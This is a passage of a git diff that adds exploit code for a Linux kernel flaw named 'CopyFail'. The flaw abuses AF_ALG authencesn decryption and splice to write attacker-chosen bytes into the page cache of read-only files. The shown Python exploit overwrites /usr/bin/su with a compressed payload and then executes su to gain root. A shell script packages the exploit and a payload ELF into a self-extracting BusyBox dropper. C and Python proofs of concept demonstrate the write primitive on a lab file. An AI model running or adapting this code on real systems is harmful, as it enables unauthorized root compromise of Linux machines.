DEBUG: + print(f" [-] recv() returned: {e}") + + +def overwrite_4_bytes(file_fd: int, target_offset: int, chunk: bytes) -> None: + """ + Apply one 4-byte overwrite primitive. + + exploit geometry for one iteration: + + AAD[4:8] = chunk + | + v + recv() -> authencesn() scratch write + | + v + file[target_offset : target_offset+4] in page cache becomes chunk + """ + tfm, op = open_authencesn_socket() + try: + if DEBUG: + print( + f"[+] overwrite @ 0x{target_offset:x}: " + f"{chunk.hex()} ({chunk.decode('latin1', errors='replace')})" + ) + queue_aad(op, chunk) + splice_target_window(file_fd, op.fileno(), target_offset) + trigger_decrypt(op, target_offset) + finally: + op.close() + tfm.close() + + +def decompress_payload() -> bytes: + # zlib-compressed replacement bytes written into the target. + # + # After decompression: + # payload[0:4] -> overwrite at file offset 0x0 + # payload[4:8] -> overwrite at file offset 0x4 + # ... + # + # main() walks this buffer in 4-byte chunks and turns each chunk into one + # AAD[4:8] value for one exploit iteration. + payload_blob = hex_bytes( + "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07" + "e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5" + "190c0c0c0032c310d3" + ) + return zlib.decompress(payload_blob) + + +def main() -> None: + target = "/usr/bin/su" + + if len(sys.argv) > 1: + target = f"/usr/bin/{sys.argv[1]}" + + payload = decompress_payload() + + print(f"[+] target : {target}") + print(f"[+] payload : {len(payload)} bytes") + print("[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write") + + file_fd = os.open(target, os.O_RDONLY) + try: + # Each loop iteration patches one 4-byte slot in the target executable. + for target_offset in range(0, len(payload), 4): + chunk = payload[target_offset : target_offset + 4] + overwrite_4_bytes(file_fd, target_offset, chunk) + finally: + os.close(file_fd) + + print("[+] payload staged into page cache, executing target...") + os.system("su") + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/exploit-scripts/mk_busybox_dropper.sh b/exploit-scripts/mk_busybox_dropper.sh new file mode 100644 index 0000000..9c77853 --- /dev/null +++ b/exploit-scripts/mk_busybox_dropper.sh @@ -0,0 +1,76 @@ +#!/bin/sh +# +# Build a BusyBox-compatible self-extracting CopyFail runner. +# +# Usage: +# sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh +# busybox sh copyfail-busybox.sh /usr/bin/su +# +# The generated script uses only common BusyBox applets: sh, printf, chmod, +# mkdir, rm, cd, and exec. + +set -eu + +if [ "$#" -ne 2 ]; then + echo "usage: $0 " >&2 + exit 1 +fi + +exploit_bin=$1 +payload_elf=$2 + +[ -r "$exploit_bin" ] || { echo "cannot read exploit binary: $exploit_bin" >&2; exit 1; } +[ -r "$payload_elf" ] || { echo "cannot read payload ELF: $payload_elf" >&2; exit 1; } + +emit_file() { + src=$1 + dst=$2 + + printf "write_blob \"%s\" <<'__COPYFAIL_BLOB__'\n" "$dst" + od -An -tx1 -v "$src" | + awk ' + { + for (i = 1; i <= NF; i++) { + buf = buf "\\x" $i + if (length(buf) >= 192) { + print buf + buf = "" + } + } + } + END { + if (length(buf)) + print buf + }' + printf "__COPYFAIL_BLOB__\n" +} + +cat <<'EOF' +#!/bin/sh +set -eu + +d=${TMPDIR:-/tmp}/.copyfail.$$ +mkdir "$d" || exit 1 +trap 'rm -rf "$d"' EXIT HUP INT TERM +umask 077 + +write_blob() { + out=$1 + : > "$out" + while IFS= read -r line; do + [ "$line" = "__COPYFAIL_BLOB__" ] && break + printf '%b' "$line" >> "$out" + done +} + +EOF + +emit_file "$exploit_bin" '$d/exploit_asm' +emit_file "$payload_elf" '$d/payload.pwnkit.elf' + +cat <<'EOF' + +chmod 700 "$d/exploit_asm" +cd "$d" +exec ./exploit_asm "${1:-/usr/bin/su}" +EOF diff --git a/proof-of-concept/copyfail_poc.c b/proof-of-concept/copyfail_poc.c new file mode 100644 index 0000000..39745ed --- /dev/null +++ b/proof-of-concept/copyfail_poc.c @@ -0,0 +1,322 @@ +// copyfail_poc.c +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef AF_ALG +#define AF_ALG 38 +#endif + +#ifndef SOL_ALG +#define SOL_ALG 279 +#endif + +#ifndef ALG_SET_KEY +#define ALG_SET_KEY 1 +#endif + +#ifndef ALG_SET_IV +#define ALG_SET_IV 2 +#endif + +#ifndef ALG_SET_OP +#define ALG_SET_OP 3 +#endif + +#ifndef ALG_SET_AEAD_ASSOCLEN +#define ALG_SET_AEAD_ASSOCLEN 4 +#endif + +#ifndef ALG_OP_DECRYPT +#define ALG_OP_DECRYPT 0 +#endif + +#ifndef ALG_SET_AEAD_AUTHSIZE +#define ALG_SET_AEAD_AUTHSIZE 5 +#endif + +enum { + CRYPTO_AUTHENC_KEYA_UNSPEC, + CRYPTO_AUTHENC_KEYA_PARAM, +}; + +struct crypto_authenc_key_param { + uint32_t enckeylen; +}; + +struct af_alg_iv_custom { + uint32_t ivlen; + uint8_t iv[16]; +}; + +static void die(const char *msg) +{ + if (!strcmp(msg, "bind(AF_ALG)") && errno == ENOENT) { + fprintf(stderr, + "[!] AF_ALG could not resolve authencesn(hmac(sha256),cbc(aes)).\n" + "[!] Check /proc/crypto and try: sudo modprobe authencesn\n"); + } + perror(msg); + exit(EXIT_FAILURE); +} + +static void print_marker(const char *label, const char *path, off_t off) +{ + int fd; + uint8_t b[4]; + + fd = open(path, O_RDONLY); + if (fd < 0) + die("open(print marker)"); + + if (pread(fd, b, sizeof(b), off) != (ssize_t)sizeof(b)) + die("pread(marker)"); + + printf("%s @ 0x%llx = %02x %02x %02x %02x (%.4s)\n", + label, (long long)off, b[0], b[1], b[2], b[3], + (const char *)b); + + close(fd); +} + +static void create_target_file(const char *path, off_t overwrite_off) +{ + int fd; + uint8_t fill = 'A'; + uint8_t marker[4] = { 'O', 'R', 'I', 'G' }; + off_t i; + + fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0644); + if (fd < 0) + die("open(create target)"); + + for (i = 0; i < 0x3000; i++) { + if (write(fd, &fill, 1) != 1) + die("write(fill target)"); + } + + if (pwrite(fd, marker, sizeof(marker), overwrite_off) != (ssize_t)sizeof(marker)) + die("pwrite(marker)"); + + /* + * Make the baseline file contents durable first. Otherwise the + * target page may still be dirty from file creation, and + * drop_caches will refuse to evict it during verification. + */ + if (fsync(fd) < 0) + die("fsync(target)"); + + if (fchmod(fd, 0444) < 0) + die("fchmod(target)"); + + close(fd); +} + +static void configure_aead(int tfm_fd) +{ + unsigned int authsize = 0x10; + struct { + struct rtattr rta; + struct crypto_authenc_key_param param; + uint8_t keys[32 + 16]; + } keybuf = { + .rta = { + .rta_len = RTA_LENGTH(sizeof(struct crypto_authenc_key_param)), + .rta_type = CRYPTO_AUTHENC_KEYA_PARAM, + }, + .param = { + .enckeylen = htonl(16), + }, + }; + + memset(keybuf.keys, 0x41, 32); + memset(keybuf.keys + 32, 0x42, 16); + + if (setsockopt(tfm_fd, SOL_ALG, ALG_SET_KEY, &keybuf, sizeof(keybuf)) < 0) + die("setsockopt(ALG_SET_KEY)"); + + if (setsockopt(tfm_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, authsize) < 0) + die("setsockopt(ALG_SET_AEAD_AUTHSIZE)"); + + printf("[+] AEAD configured: authkey=32, enckey=16, authsize=0x%x\n", + authsize); +} + +static void queue_aad(int op_fd, const uint8_t write_value[4]) +{ + uint8_t aad[8]; + uint8_t cbuf[CMSG_SPACE(sizeof(uint32_t)) + + CMSG_SPACE(sizeof(struct af_alg_iv_custom)) + + CMSG_SPACE(sizeof(uint32_t))]; + struct iovec iov; + struct msghdr msg; + struct cmsghdr *cmsg; + uint32_t op = ALG_OP_DECRYPT; + uint32_t assoclen = sizeof(aad); + + memset(aad, 'A', 4); + memcpy(aad + 4, write_value, 4); + + iov.iov_base = aad; + iov.iov_len = sizeof(aad); + + memset(&msg, 0, sizeof(msg)); + msg.msg_iov = &iov; + msg.msg_iovlen = 1; + msg.msg_control = cbuf; + msg.msg_controllen = sizeof(cbuf); + + memset(cbuf, 0, sizeof(cbuf)); + + cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_level = SOL_ALG; + cmsg->cmsg_type = ALG_SET_OP; + cmsg->cmsg_len = CMSG_LEN(sizeof(op)); + memcpy(CMSG_DATA(cmsg), &op, sizeof(op)); + + cmsg = CMSG_NXTHDR(&msg, cmsg); + cmsg->cmsg_level = SOL_ALG; + cmsg->cmsg_type = ALG_SET_IV; + cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv_custom)); + { + struct af_alg_iv_custom *iv = + (struct af_alg_iv_custom *)CMSG_DATA(cmsg); + iv->ivlen = 16; + memset(iv->iv, 0x44, sizeof(iv->iv)); + } + + cmsg = CMSG_NXTHDR(&msg, cmsg); + cmsg->cmsg_level = SOL_ALG; + cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN; + cmsg->cmsg_len = CMSG_LEN(sizeof(assoclen)); + memcpy(CMSG_DATA(cmsg), &assoclen, sizeof(assoclen)); + + if (sendmsg(op_fd, &msg, MSG_MORE) < 0) + die("sendmsg(AAD)"); + + printf("[+] AAD queued: assoclen=%u, AAD[4:8]=%.4s\n", + assoclen, (const char *)write_value); +} + +int main(void) +{ + const char *target = "./target.bin"; + const off_t overwrite_off = 0x1234; + const size_t authsize = 0x10; + const size_t splice_len = 0x20; + off_t splice_off = overwrite_off - (splice_len - authsize); + uint8_t write_value[4] = { 'P', 'W', 'N', '!' }; + int tfm_fd, op_fd, file_fd; + int pipefd[2]; + uint8_t rx[0x1000]; + + printf("[+] target : %s\n", target); + printf("[+] overwrite : file offset 0x%llx\n", (long long)overwrite_off); + printf("[+] splice : offset=0x%llx len=0x%zx authsize=0x%zx\n", + (long long)splice_off, splice_len, authsize); + printf("[+] write value : %.4s\n", (const char *)write_value); + + /* + * 1. Create a harmless read-only lab target. + */ + create_target_file(target, overwrite_off); + print_marker("[+] marker before", target, overwrite_off); + + /* + * 2. Open AF_ALG transform socket. + */ + tfm_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); + if (tfm_fd < 0) + die("socket(AF_ALG)"); + + struct sockaddr_alg sa = { + .salg_family = AF_ALG, + .salg_type = "aead", + .salg_name = "authencesn(hmac(sha256),cbc(aes))", + }; + + if (bind(tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) + die("bind(AF_ALG)"); + + printf("[+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes))\n"); + + /* + * 3. Configure transform, then accept operation socket. + */ + configure_aead(tfm_fd); + + op_fd = accept(tfm_fd, NULL, NULL); + if (op_fd < 0) + die("accept(AF_ALG)"); + + printf("[+] accepted operation socket: fd=%d\n", op_fd); + + /* + * 4. Queue attacker-controlled AAD. + * AAD[4:8] becomes seqno_lo, the 4-byte value to write. + */ + queue_aad(op_fd, write_value); + + /* + * 5. Splice target file bytes into a pipe. + * The selected range is [0x1224, 0x1244), so the tag region + * begins at 0x1234. + */ + file_fd = open(target, O_RDONLY); + if (file_fd < 0) + die("open(target)"); + + if (pipe(pipefd) < 0) + die("pipe"); + + if (splice(file_fd, &splice_off, pipefd[1], NULL, splice_len, 0) < 0) + die("splice(file -> pipe)"); + + printf("[+] splice(file -> pipe): 0x%zx bytes from file offset 0x%llx\n", + splice_len, (long long)(overwrite_off - (splice_len - authsize))); + + /* + * 6. Splice the pipe into the AF_ALG operation socket. + * Kernel-side: pipe_buffer -> bio_vec -> MSG_SPLICE_PAGES + * -> AF_ALG TX scatterlist. + */ + if (splice(pipefd[0], NULL, op_fd, NULL, splice_len, 0) < 0) + die("splice(pipe -> AF_ALG)"); + + printf("[+] splice(pipe -> AF_ALG): 0x%zx bytes\n", splice_len); + + /* + * 7. Trigger decrypt. + * Authentication is expected to fail; the scratch write is the point. + */ + if (recv(op_fd, rx, sizeof(rx), 0) < 0) + fprintf(stderr, "recv failed as expected: %s\n", strerror(errno)); + else + printf("[+] recv returned data\n"); + + print_marker("[+] marker after ", target, overwrite_off); + printf("[+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 %s\n", target); + printf("[+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'\n"); + printf("[+] then re-read : xxd -g1 -s 0x1220 -l 0x40 %s\n", target); + printf("[+] success signal : ORIG -> PWN! before drop_caches, then ORIG after drop_caches\n"); + + close(file_fd); + close(pipefd[0]); + close(pipefd[1]); + close(op_fd); + close(tfm_fd); + + return 0; +} \ No newline at end of file diff --git a/proof-of-concept/copyfail_poc.py b/proof-of-concept/copyfail_poc.py new file mode 100644 index 0000000..52845ac --- /dev/null +++ b/proof-of-concept/copyfail_poc.py @@ -0,0 +1,115 @@ +# copyfail_poc.py +import os +import struct +import socket +from pathlib import Path + +AF_ALG = 38 +SOL_ALG = 279 +ALG_SET_KEY = 1 +ALG_SET_IV = 2 +ALG_SET_OP = 3 +ALG_SET_AEAD_ASSOCLEN = 4 +ALG_SET_AEAD_AUTHSIZE = 5 +ALG_OP_DECRYPT = 0 +CRYPTO_AUTHENC_KEYA_PARAM = 1 + +target = "./target.bin" +overwrite_off = 0x1234 +authsize = 0x10 +splice_len = 0x20 +splice_off = overwrite_off - (splice_len - authsize) + +write_value = b"PWN!" +aad = b"A" * 4 + write_value + +def marker(label): + with target_path.open("rb") as f: + f.seek(overwrite_off) + b = f.read(4) + print(f"{label} @ 0x{overwrite_off:x} = {b.hex(' ')} ({b!r})") + +print(f"[+] target : {Path(target).expanduser()}") +print(f"[+] overwrite : file offset 0x{overwrite_off:x}") +print(f"[+] splice : offset=0x{splice_off:x} len=0x{splice_len:x} authsize=0x{authsize:x}") +print(f"[+] write value : {write_value!r}") + +# 1. Create a harmless read-only lab target. +target_path = Path(target).expanduser() +target_path.parent.mkdir(parents=True, exist_ok=True) + +data = bytearray(b"X" * 0x3000) +data[overwrite_off:overwrite_off + 4] = b"ORIG" +target_path.write_bytes(data) +with target_path.open("rb") as f: + os.fsync(f.fileno()) +target_path.chmod(0o444) +marker("[+] marker before") + +# 2. Open AF_ALG transform socket. +tfm = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) +try: + tfm.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) +except FileNotFoundError: + print("[!] AF_ALG could not resolve authencesn(hmac(sha256),cbc(aes)).") + print("[!] Check /proc/crypto and try: sudo modprobe authencesn") + raise +print("[+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes))") + +# 3. Configure the authenc-compatible key blob and authsize, then accept. +key_blob = ( + struct.pack("HH", 8, CRYPTO_AUTHENC_KEYA_PARAM) + + struct.pack("!I", 16) + + (b"A" * 32) + + (b"B" * 16) +) +tfm.setsockopt(SOL_ALG, ALG_SET_KEY, key_blob) +tfm.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, authsize) +print("[+] AEAD configured: authkey=32, enckey=16, authsize=0x10") + +op, _ = tfm.accept() +print(f"[+] accepted operation socket: fd={op.fileno()}") + +# 4. Queue attacker-controlled AAD. +# AAD[4:8] is the 4-byte value authencesn later writes. +iv = struct.pack("I", 16) + (b"\x44" * 16) +op.sendmsg( + [aad], + [ + (SOL_ALG, ALG_SET_OP, struct.pack("I", ALG_OP_DECRYPT)), + (SOL_ALG, ALG_SET_IV, iv), + (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", len(aad))), + ], + socket.MSG_MORE, +) +print(f"[+] AAD queued: assoclen={len(aad)}, AAD[4:8]={write_value!r}") + +# 5. Splice target file bytes into a pipe. +r, w = os.pipe() +fd = os.open(str(target_path), os.O_RDONLY) + +os.splice(fd, w, splice_len, splice_off, None, 0) +print(f"[+] splice(file -> pipe): 0x{splice_len:x} bytes from file offset 0x{splice_off:x}") + +# 6. Splice pipe into AF_ALG operation socket. +os.splice(r, op.fileno(), splice_len, None, None, 0) +print(f"[+] splice(pipe -> AF_ALG): 0x{splice_len:x} bytes") + +# 7. Trigger decrypt. Authentication is expected to fail. +try: + op.recv(0x1000) + print("[+] recv returned data") +except OSError as e: + print(f"recv failed as expected: {e}") + +marker("[+] marker after ") +print(f"[+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 {target_path}") +print("[+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'") +print(f"[+] then re-read : xxd -g1 -s 0x1220 -l 0x40 {target_path}") +print("[+] success signal : ORIG -> PWN! before drop_caches, then ORIG after drop_caches") + +os.close(fd) +os.close(r) +os.close(w) +op.close() +tfm.close() \ No newline at end of file